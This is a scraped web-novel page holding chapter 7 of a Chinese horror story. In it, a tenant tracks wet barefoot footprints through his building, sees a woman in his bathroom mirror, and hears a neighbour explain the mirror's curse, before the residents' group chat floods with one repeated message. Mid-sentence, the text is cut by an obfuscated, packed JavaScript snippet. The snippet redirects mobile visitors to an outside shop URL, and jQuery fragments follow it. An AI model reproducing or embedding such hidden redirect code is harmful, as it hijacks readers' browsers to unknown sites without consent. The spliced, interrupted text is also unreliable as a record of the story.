文趣网 > 都市小说 > 最后一户 > 7. 走廊里的光脚脚印
    第七章

    魏凌睡着了。

    他本不想睡的——季红在镜子里冲他挥手的事还在脑子里转,茶杯里冒的热气仿佛还没散,那张写着一手好楷书的纸条被他折了三次塞进了裤兜里。他本打算坐一会儿就起来,把声音分配表再重新研究一遍,试着从B1的虚线箭头里找出声音处理器的备用信号源位置。但他坐在沙发上,雨声从窗外持续不断地灌进来,均匀的白噪音像一层厚厚的棉被盖在他的意识上,眼皮越来越沉,头慢慢歪过去,靠着沙发扶手失去了知觉。

    他醒来的时候,天已经黑了。

    不是那种傍晚薄暮的黑,是彻底的黑——雨还在下,窗外的天像倒扣的铁锅,一丝光都透不进来。客厅里没有开灯,黑暗中只有手机屏幕的一小块亮光持续地亮着,把他惊醒的正是手机震动的嗡鸣。他伸手去摸,指尖触到冰凉的屏幕,上面弹出一条通知:"西天穹业主群有新消息。"时间是晚上七点零二分。

    他坐起来揉了揉眼睛,脑子像灌了铅一样沉。浑身的肌肉都僵着,脖子酸痛,靠着沙发扶手的姿势保持太久导致半边身子都是麻的。他低头看了一眼手机,群里的新消息是"303小鹿"发的:"姐妹们兄弟们,今天晚上有人听见楼道里的脚步声了吗?我听见了,从我门口走过去三趟了。是谁啊?出来说一声行不行?"

    小鹿的语气还是那个二十岁女生的样子,带着一点撒娇和害怕,像在群里寻求安慰。但魏凌盯着那条消息看了一会儿,心里冒出一个疑问:现在是晚上七点,整栋楼的信号被切断,私聊发不出去,对外网络全部瘫痪,唯一能用的只有这个业主群。小鹿如果真有害怕的事,她为什么要在群里发,而不是私聊她认识的其他人?除非她根本不知道私聊已经全部断了。或者她知道,但她故意在群里说话,让所有人看见。

    魏凌没有回复。他又看了看时间——七点零三分。601李萍在群里说"今晚八点,601,我泡了茶",现在还有不到一个小时。他必须在这段时间内把那个信封找回来,至少要把三把钥匙拿到手。没有钥匙,他打不开对面楼701的门,也进不去B1那间声音处理器室,更不知道黑色那把钥匙对应的是什么。

    他站起身,开了客厅的灯。暖黄色的光填满屋子的瞬间,他的视线落在了茶几上那只白瓷茶杯上——他明明已经把那只杯子洗了放在沥水架上了。现在它又出现在茶几上,还是原来的位置,杯底还残留着一圈浅浅的水渍,像是刚被人用过的。魏凌走过去摸了摸杯壁,凉的。他又看了看沙发坐垫的拉链,拉链是合上的,但拉链头的朝向和他塞信封的时候是相反的。有人在他睡着的时候又进来过一次。

    魏凌站在客厅中央,把屋子里的每一个角落都快速扫了一遍。厨房门关着,卫生间的门是开着的——他记得自己睡过去之前把卫生间的门关上了。现在它开着,里面亮着灯。他走到卫生间门口往里看了一眼,镜子前的洗手台上放着一把梳子。他不用梳子。他的头发是那种不需要打理的长度,从来不用梳子。

    他把梳子拿起来端详了一下。梳子是黑色的塑料材质,齿间夹着几根深棕色的头发,比他的发色浅一些,也长得多。有人坐在他的洗手台前梳过头。魏凌把梳子放进抽屉里,关上卫生间的门,回到客厅。他深吸了一口气,然后把手机、钥匙串、那把铜色小钥匙(他一直没有从钥匙串上取下来过)和那张声音分配表的照片全部装进外套内袋。然后他走到门口,透过猫眼往外看。

    走廊里的灯亮着,地面干净。但他注意到一个之前没有的东西——走廊的地砖上有水渍。一串不太显眼的脚印从电梯口方向延伸过来,经过802门口,又沿着走廊往前去了。脚印是光脚的,脚掌的形状完整,五根脚趾的印子清清楚楚。和他在六楼楼梯间里看见的那串光脚脚印一模一样。那个人从电梯口走过来,在802门口停了一下,然后继续往前走,走到走廊尽头拐弯消失了。

    魏凌把门推开一条缝。走廊里的空气比他想象的冷很多,冷到不像是夏天的雨夜,更像是深秋。他走出来,蹲下身查看地上的脚印。水渍还没有完全干,边缘还保持着清晰的轮廓,说明留下这串脚印的人经过的时间不会太久,可能就是在他睡着的时候。脚印的方向是从电梯口往走廊深处走的,脚尖向前,步幅均匀,没有任何挣扎或犹豫的痕迹。那个人走得很从容。

    他顺着脚印的方向走了几步,走到803门口的时候停下了。803的门是开着的。不是他之前看见的那种虚掩着或者挂着外卖袋子的状态,是敞开的,门板完全打开,靠在墙边,里面的玄关和客厅一览无余。魏凌站在门口没有进去,只是往里看。803的客厅里很空——和他想象的独居年轻人的房间差不多,一张深蓝色的布沙发,一个小茶几,茶几上放着几罐空了的啤酒和一台笔记本电脑。笔记本电脑的屏幕亮着,显示着一个桌面壁纸,壁纸是纯黑色的。沙发上的靠枕被人踢到了地上,地毯上有两滩深褐色的圆形污渍。

    但最让他注意的是玄关的地上。放着一双拖鞋。粉红色的,上面印着卡通的兔子图案,鞋头朝着门内。他记得他上次看见803门口挂着的那个外卖袋子里,奶茶杯旁边还有一张外卖小票,小票上的订单时间是凌晨十二点三十四分。如果803的主人昨天晚上点了奶茶,那他现在人呢?门开着,灯亮着,电脑开着,拖鞋摆在地上,人不在了。

    魏凌退了一步,没有进去。他继续往前走,顺着脚印的方向。脚印经过804门口的时候停了一下——804的门关着,门把手上挂着一把U形锁,锁是锁上的,钥匙插在锁孔里没有拔。那把锁是新的,不锈钢的金属面在走廊灯光下反着冷光。魏凌试着拧了一下那把钥匙,锁咔嗒开了。他把锁取下来拿在手里看了看,锁的内部是干净的,没有任何锈迹,新得像刚买回来。他把锁重新挂回去,但没有锁,只是搭在门把手上。

    他走到走廊尽头,拐过弯,声控灯在他头顶一盏盏亮起来。走廊另一侧是三扇门——805、806、807。805的门关着,806的门半开,807的门板被人从外面踹了一脚,门框的木头裂了一道缝,门锁的位置凹进去一块,露出里面黄白色的木茬。魏凌蹲在807门口看了看那处凹陷,凹坑的形状是鞋跟留下的,力量很大,一脚下去门框的木头直接劈开了。但门没有破,锁还在,只是变形了。

    光脚脚印在807门口转弯了。方向掉转,从往深处走变成了往回走,一路沿着走廊回去,经过806、805、804、803,又回到了802门口。但魏凌此刻站在807门口,往回看的时候,发现脚印在他经过的每一扇门前都有停顿——803停了,804停了,805停了,806停了,807停了。每一个门都停过。那串脚印的主人在检查每一扇门,不疾不徐地走完了一整条走廊,像在核对什么名单。

    魏凌往回走,脚步放得很轻。他走到802门口的时候,发现自己家的门开着——比他出门时留的缝隙更大了,几乎是半开的。他明明没有关紧,但绝对没有留这么大的缝。他站在门口往里看了一眼,客厅里灯还亮着,一切看起来和他出来时一样。但他低头看向门槛的时候,门槛内侧的地砖上有一小片湿润的痕迹,浅浅的,像有人光脚踩进来过。

    他进了屋,关上门,锁好。他蹲在门口内测,用手摸了一下那片湿润的痕迹——凉的,水,没有颜色,没有气味。他凑近了看,那片水痕的形状是一个完整的脚掌印,脚趾头的位置微微分开。和走廊里的那串脚印是同一个人的。

    那个人走进过802。在他出去查看走廊的时候,有人踩着一地的水脚印进了他的屋子。魏凌猛地站起来,目光扫过客厅的每一个角落——沙发上没有人,茶几底下没有人,厨房门关着,卫生间门开着,卧室的门是虚掩着的。他走到卧室门口,伸手推开了门。卧室的灯没有开,窗外的天光从窗帘的缝隙里透进来,把整个房间照成冷灰色。床上什么都没有,被子还是早上他起床时的样子。但床头柜上多了一样东西。一张纸条。

    他走过去拿起纸条。纸条是湿的,边缘有点皱了,像是在湿乎乎的手里攥过。上面的字是用铅笔写的,笔画很轻,像是赶时间的人匆忙留下的:"别去601。钥匙在我这里。我在你镜子里。——季红。"

    魏凌把纸条翻过来看背面。背面没有字,只有一道弯弯曲曲的湿痕,像是水滴从某个地方落下来在纸上洇开了。他把纸条放在床头柜上,然后转身走到卫生间门口。卫生间的灯亮着,他从门框外面往里面看,镜子前的洗手台上什么都没有,梳子被他收进抽屉了,毛巾叠得好好的放在窗台上。镜子里映出他的脸——但镜子里他的脸旁边,还映着另一张脸。半张,只露出一只眼睛和一小片额头,从他左肩后面探出来,藏在镜面的边缘。那只眼睛是灰褐色的,瞳孔极浅,在灯光下几乎透明。

    魏凌没有回头。他知道自己身后什么都没有,他只是盯着镜子里那只眼睛。那只眼睛眨了眨,然后整张脸慢慢从镜面边缘浮现出来——季红。她还穿着米白色的风衣,头发盘在脑后,嘴角带着那种微微上扬的笑。她站在镜子里,站在他的身后,看着他。然后她抬起手,把手里的东西举到镜头前给他看。

    三把钥匙,还有那个牛皮纸信封。她把信封晃了晃,然后用嘴唇无声地说了几个字,嘴型一开一合,魏凌辨认了好一会儿才读出来:"今晚八点。来601拿。"然后季红的影像从镜面里一点点淡去,像被什么东西从背后拽走了,先消失的是脸,然后是肩膀,然后是举着钥匙的手,最后连一丝影子都不剩。镜子里只剩下魏凌一个人,脸色惨白地站在洗手台前。

    他扶着洗手池的边缘站了几秒,低头看了一眼时间。七点三十一分。还有二十九分钟。季红在镜子里说"来601拿",601李萍在群里说"今晚八点我泡了茶"。同一间房,同一个时间,两拨人。或者说同一拨人用两个不同的身份在同一个人面前演了两场不同的戏。魏凌深吸一口气,从抽屉里翻出那把锈菜刀,用旧毛巾裹好,别在裤腰后面的皮带里,然后用外套的下摆盖住。他又检查了一下手机的电量,还剩百分之六十三,够用了。

    他走到客厅门口,最后透过猫眼往外看了一眼。走廊里空荡荡的,那串光脚脚印还在,水渍比刚才浅了一些但轮廓依然清晰。他开门走出去,回手把门带上。这一次他没有锁,因为他不知道今晚还能不能回来。

    走廊里很安静,雨声从墙壁的另一侧传来,隔着水泥和钢筋变成了一种沉闷的、持续的低频嗡鸣。魏凌走向电梯,按了下行键。轿厢从一楼升上来,叮一声开了。他走进去按了"6",电梯门合拢的时候,他看见轿厢内壁的镜面金属板上映出他自己的脸。他侧过头不再看那面金属板,抬头看着楼层显示屏上的数字跳转——8,7,6。停。门开了。

    六楼走廊和他之前来的时候一样安静。声控灯亮着,601的门关着,602的门关着,603、604、605全都关着。但他注意到一个变化:走廊地面上也有水渍。和八楼走廊里那串光脚脚印一样的痕迹,从电梯口延伸到601门口,然后折返,又回到电梯口。有人在他之前就已经来过六楼了,光着脚,从电梯口走到601门口,然后回去了。

    魏凌站在601门口。铁皮门紧闭着,门缝底下透出暖黄色的光,能闻到一股极淡的茶叶香气从门缝里渗出来。他抬起手,准备敲门。他的手还没碰到门板,门就从里面打开了。

    开门的人是苏姨。

    苏姨穿着一件浅灰色的针织开衫,里面还是那件白色的棉布衬衫,头发整整齐齐地别在耳后。她站在601的玄关里,面前是一张摆放整齐的茶盘,茶盘上放着一只紫砂壶和两只白瓷茶杯,茶壶嘴冒着细细的白气。她的表情很平静,平静到让魏凌一时不知道该说什么。

    "你来了,"苏姨说,声音和下午在602时一模一样,轻而稳,"进来坐。茶刚泡好。"

    魏凌站在门口没有动。他看着苏姨,又看了一眼601深处的走廊。走廊尽头那间卧室的门开着,里面亮着灯,他能看见那台倒计时的手机还放在床头柜上,屏幕亮着,但倒计时界面已经没有了,取而代之的是一张纯黑色的屏保。"苏姨,你怎么在601?"

    苏姨侧身让开门口,示意他进来。"我一直在这里。602的钥匙我早就还给物业了。我在602住了二十年,但601才是我的地方。"

    魏凌跨过门槛,走进了601的玄关。他注意到玄关地面上摆着的那几双鞋都不见了,只剩下苏姨脚上那双深灰色的棉拖鞋。玄关尽头的走廊被打扫过,地板干干净净,墙上挂着一幅新的书法作品,写着两个字:"来者。"

    苏姨引着他走到客厅。客厅的茶几上摆着茶盘,两把椅子面对面放着,一把是藤编的,另一把是木头的。苏姨坐在藤编椅子上,给魏凌面前的杯子斟满茶。汤色金黄,叶底舒展,茶香清冽。"大红袍,"苏姨说,"不是什么顶好的,但能喝。你坐下。"

    魏凌在木椅子上坐下了。他没有碰那杯茶。他看着苏姨的眼睛,等她自己开口。苏姨端起自己的茶喝了一口,然后把杯子放回茶盘上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897749|212864||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,目光落在窗外的雨幕上。601的窗帘拉开着——他之前几次来601,那扇深蓝色窗帘从来没有拉开过,但现在它大敞着,他能透过窗户看见对面楼七楼的灯光和雨丝被风吹斜了的轨迹。

    "下午你走之后,我想了很多。"苏姨的声音很轻,像在跟一朵花说话,"你想找出口。你想离开西天穹。但你这几天经历的事,你有没有想过——为什么要走?你住进来才四天。"

    魏凌看着苏姨,没有立刻回答。窗外的雨声填满了沉默的间隙。"因为我不想死,"他说,"这栋楼里有人在杀住户。楼下的尸体你也看见了。"

    苏姨轻轻点了点头。"但我跟你说的是另一件事。"她抬起眼睛看着魏凌,那双垂着的眼尾让她的目光看起来格外柔和也格外沉,"你搬进来之前,有人先告诉过你这栋楼很便宜,对吧?中介跟你说这间房子便宜是因为前租客搬走得急。他有没有告诉过你,802的前一个租客姓周,而周伟走的时候——周伟原本是可以不走的。他选择留下来住在镜子里,是为了守着802不让别人住进来。"

    魏凌的手腕微微绷紧了。"什么意思?"

    "802的镜子不光能走出去,"苏姨说,"它还能让人走进来。如果你把镜子里的那个人放出来了,他就会取代你成为802的住客。周伟走后,802空置了将近两个月。那个期间中介带过至少五六个人来看房,没有一个人住下来。因为那些人在看房的时候,都在镜子里看到了不该看到的东西。你是唯一一个看完房就签合同的。你知道为什么吗?"

    魏凌摇头。

    苏姨从茶盘下面抽出一张照片。照片上是魏凌。他站在802的玄关里,手里拿着合同,正在签字。但照片的角度是从镜子拍的——拍摄者站在卫生间的镜子面前,从镜子里拍摄了魏凌签合同的全过程。照片里魏凌的身后有一个模糊的人影,穿着一件灰色的连帽卫衣,站在卫生间的门口,正低着头看着他的头顶。

    "周伟那时候就在了,"苏姨说,"但他没有拦你。他在镜子里看着你签完了合同。你觉得他为什么让你住进来?"

    魏凌盯着那张照片,心跳在耳朵里震得嗡嗡响。"他需要有人替他。"

    苏姨轻轻叹了口气,把照片收回茶盘底下。"他需要有人替他守802,他才敢从镜子里走出去。802的镜子是双向的——它既能让人陷进去,也能让人从里面挣脱。但挣脱的条件是:必须有另一个人站在镜子外面接替他。你住进802的第一天,周伟就从镜子里出来了。"

    魏凌猛地抬起头。"他从镜子出来了?"

    "他本人没有出来。但他在镜子里走了。从那以后他就不完全在镜子里面了,他有一部分在对面的窗户里坐着,还有一部分在哪我现在也不知道。"苏姨端起茶又喝了一口,"我今天叫你来是想告诉你一件事。周伟走之前把三把钥匙留给你,因为那些钥匙是他辛辛苦苦藏起来留给你用的。季红把它们拿走了,但季红——季红其实是周伟的一部分。她是他分裂出来站在外面的那个身份。她拿走的钥匙,最终还是会回到你手上。所以她让你今晚八点过来。"

    魏凌低头看着面前那杯已经凉了一点的茶,沉默了很久。窗外的雨声中夹杂了一个很轻的声音——咔嗒一声,像是门锁弹开了。他回头看向601的门口。门还是关着的,没有人进来。但门缝底下刚才透进来的暖黄色灯光消失了,取而代之的是一小片阴影——有人的脚掌正站在门外的门缝后面,一动不动。

    苏姨也看见了。她没有慌乱,只是慢悠悠地放下茶杯,轻声说了一句:"有人来了。你从后窗走。"

    魏凌站起身,看了苏姨一眼。"你呢?"

    苏姨冲他摆了摆手,那种平和的、不急不慢的姿态像在赶一只猫走。"我一个老太太,他们不会拿我怎么样。你走,带着这个。"她从口袋里掏出一小片东西递给他——是一把钥匙。银色的,和他被季红拿走的那一把一模一样。但是全新的,没有刻字。

    魏凌接过钥匙。"这是什么?"

    "备用钥匙。"苏姨说,"对面楼701的。周伟走之前给了我一把,让我在有人需要的时候转交。现在你需要了。"

    魏凌把钥匙攥在手里,转身走向客厅后面的窗户。601的窗户朝北,窗外是西天穹前后两排楼之间的天井,下面是四楼楼顶的露台和几台空调外机。他把窗户推开,冷风裹着雨丝灌进来,吹得他眯了一下眼。他翻过窗台,踩在窗外的空调外机上,然后顺着外墙的排水管往下溜。雨水把水泥墙面浇得湿滑,他几乎滑了两米才用脚勾住了一个凸起的水泥棱,稳住身体,慢慢地又往下挪了一截。他踩到了四楼楼顶的防水层上,整个人缩在一片阴影里蹲着。

    他仰头往上看。601的窗户还开着,暖黄色的光从窗口泻出来。然后他看见苏姨走到窗口,探出上半身,朝他挥了挥手。她的表情很平静,甚至带着一点笑意。然后她把窗户关上了。

    魏凌蹲在四楼楼顶,雨淋在他的头发和肩膀上,顺着衣服的下摆往下滴。他手里攥着那把新的银色钥匙,雨水把钥匙表面的金属洗得冰凉。他低头看了一眼手机——七点五十九分。

    八点整的时候,601的灯熄灭了。整层六楼的窗户一起灭了,像有人同时拉下了所有房间的电闸。西天穹陷入了雨夜中彻底的黑暗。然后他听见四面八方同时响起来的声音——业主群在响,叮咚叮咚叮咚,连续不断的消息提示音在他的手机喇叭里疯狂地震动。他掏出手机解锁,打开业主群。群里的消息在刷屏,一条接一条地弹出来,所有人都发了同一句话,每一条都来自不同的账号,但内容一模一样:

    "魏凌。开门。"

    魏凌蹲在雨里,看着那个不断滚动的聊天界面。每一条消息的发信人名字都在变——"303小鹿"、"204老钱"、"1202方琳"、"1002张福"、"保安老周"、"601李萍"、"704周婶"、"602苏姨"——所有人都发了同一句话。发完一条紧接着下一条,重复,重复,重复。群消息提示音持续不断地响着,像千百个声音同时喊着同一个名字。

    他按灭了手机,把屏幕朝下扣在防水层的沥青面上。雨越下越大,雨水从他的头发流进衣领,沿着脊椎往下淌,冷得像针扎。他蹲在黑暗里,手心的银色钥匙被体温焐暖了一小块。

    四楼楼顶的风很大。他听见头顶的某一个窗户被人推开了,有人探出头来往下看了看。他没有抬头。他只是蹲在阴影里,像一块被遗忘在水洼边缘的石头,一动不动。